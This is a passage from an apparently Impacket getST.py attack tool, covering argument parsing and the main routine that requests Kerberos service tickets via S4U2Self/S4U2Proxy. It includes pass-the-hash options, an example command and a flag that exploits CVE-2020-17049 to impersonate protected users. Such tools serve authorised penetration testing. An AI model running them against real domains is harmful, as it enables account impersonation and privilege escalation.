parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through '
'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
'specified -identity should be provided. This allows impresonation of protected users '
'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'omitted it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv) == 1:
parser.print_help()
print("\nExamples: ")
print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n")
print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
sys.exit(1)
options = parser.parse_args()
if not options.no_s4u2proxy and options.spn is None:
parser.error("argument -spn is required, except when -self is set")
if options.no_s4u2proxy and options.impersonate is None:
parser.error("argument -impersonate is required when doing S4U2self")
if options.no_s4u2proxy and options.altservice is not None:
if '/' not in options.altservice:
parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)")
if options.additional_ticket is not None and options.impersonate is None:
parser.error("argument -impersonate is required when doing S4U2proxy")
if options.u2u is not None and (options.no_s4u2proxy is None and options.impersonate is None):
parser.error("-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticket")
# implementing plain u2u would need to modify the getKerberosTGS() function and add a switch
# in case of u2u, the proper flags should be added in the request, as well as a proper S_PRINCIPAL structure with the domain being set in order to target a UPN
# the request would also need to embed an additional-ticket (the target user's TGT)
# Init the example's logger theme
logger.init(options.ts)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password = parse_credentials(options.identity)
try:
if domain is None:
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = GETST(username, password, domain, options)
executer.run()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))